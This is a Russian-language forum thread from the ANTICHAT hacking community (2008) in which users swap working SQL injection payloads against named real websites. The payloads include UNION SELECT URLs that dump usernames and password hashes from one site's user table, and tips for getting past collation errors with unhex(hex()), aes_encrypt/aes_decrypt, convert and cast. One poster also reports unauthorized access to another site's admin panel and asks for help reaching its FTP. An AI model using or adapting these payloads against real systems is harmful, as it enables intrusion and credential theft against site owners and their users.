ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
04.08.2008, 01:58
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
eLWAux
он их просто подобрал (угадал).
|
|
|
04.08.2008, 03:27
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
http://www.mbc.edu - сайт
/news/r_detail.asp?id=2087+union+select+1,2,3,4,5,6,7/* - точное кол-во.
Но вывод куда-то пропал  . Нигде нету.
Это blind injection ? |
|
|
|
04.08.2008, 03:34
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038
Репутация:
1385
|
|
лови ))
http://www.mbc.edu/news/r_detail.asp?id=-2087+union+select+1,version(),3,4,5,6,7/*
======================
http://www.mbc.edu/news/r_detail.asp?id=-2087+union+select+1,concat_ws(0x3a,username,pword_ hash),3,4,5,6,7+from+user/*
что за тип хеша - не знаю 
можт кодировка !?
Последний раз редактировалось 159932; 04.08.2008 в 03:38..
|
|
|
|
04.08.2008, 03:35
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
Сообщение от 159932
лови ))
http://www.mbc.edu/news/r_detail.asp?id=-2087+union+select+1,version(),3,4,5,6,7/*
Ух какая в минусе сила. Спасибо! 
Угу, чет хэш загадочный.  ... Пойду гуглить.
Последний раз редактировалось USAkid; 04.08.2008 в 03:45..
|
|
|
|
04.08.2008, 06:55
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
Пытаюсь сделать
Код:
script.php?id=199'union+select+1,2,user(),4,5,6,7,8,9,10/*
а вылазит:
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
SELECT *, UNIX_TIMESTAMP(`itemdate`) AS `unix_time` FROM `umsec_news_items` WHERE `id`='199'union select 1,2,user(),4,5,6,7,8,9,10/*'
Ладно, кодирую в hex
Код:
script.php?id=-113'+union+select+1,2,0x76657273696f6e2829,4,5,6,7,8,9,10/*
А там где должна быть инфа о версии показывает тупо слово version()
Можно где-нить об етом почитать или что-нить узнать подробнее?
Последний раз редактировалось USAkid; 04.08.2008 в 07:06..
|
|
|
|
04.08.2008, 07:20
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
USAkid
aes_decrypt(aes_encrypt(concat_ws(0x3a,user(),vers ion(),database()),0x71),0x71)
Можно где-нить об етом почитать или что-нить узнать подробнее?
про это уже миллион раз писали на ачате..
Последний раз редактировалось aka PSIH; 04.08.2008 в 07:23..
|
|
|
|
04.08.2008, 07:21
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
USAkid
script.php?id=199'union+select+1,2,user(),4,5,6,7, 8,9,10/*
или использовать конструкцию unhex(hex())
script.php?id=199'union+select+1,2,unhex(hex(user( ))),4,5,6,7,8,9,10/*
кстати намного удобнее чем aes_decrypt(aes_encrypt,0x71),0x71)
Последний раз редактировалось sabe; 04.08.2008 в 07:25..
|
|
|
|
04.08.2008, 07:25
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167
Репутация:
100
|
|
Зачем в Hex кодировать? У вас проблемы с кодировкой.
Попробуйте вот это:
aes_decrypt(aes_encrypt(любое твоё слово,0x71),0x71)
Или в
convert(version() using latin1)
|
|
|
|
04.08.2008, 10:47
|
|
Banned
Регистрация: 17.07.2008
Сообщений: 14
Провел на форуме:
81162
Репутация:
27
|
|
проще всего имхо cast(version()+as+binary)
|
|
|
|
04.08.2008, 13:29
|
|
Banned
Регистрация: 20.05.2008
Сообщений: 281
Провел на форуме:
3200135
Репутация:
575
|
|
имею доступ к панели управления http://www.neo-nvk.ru/newsphp/newsok/admin.php
а на фтп немогу приконектится. конектится вроде нормально... пароль и логин признаёт.. а потом срывается
Response: 550 Permission denied.
Error: Could not retrieve directory listing
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
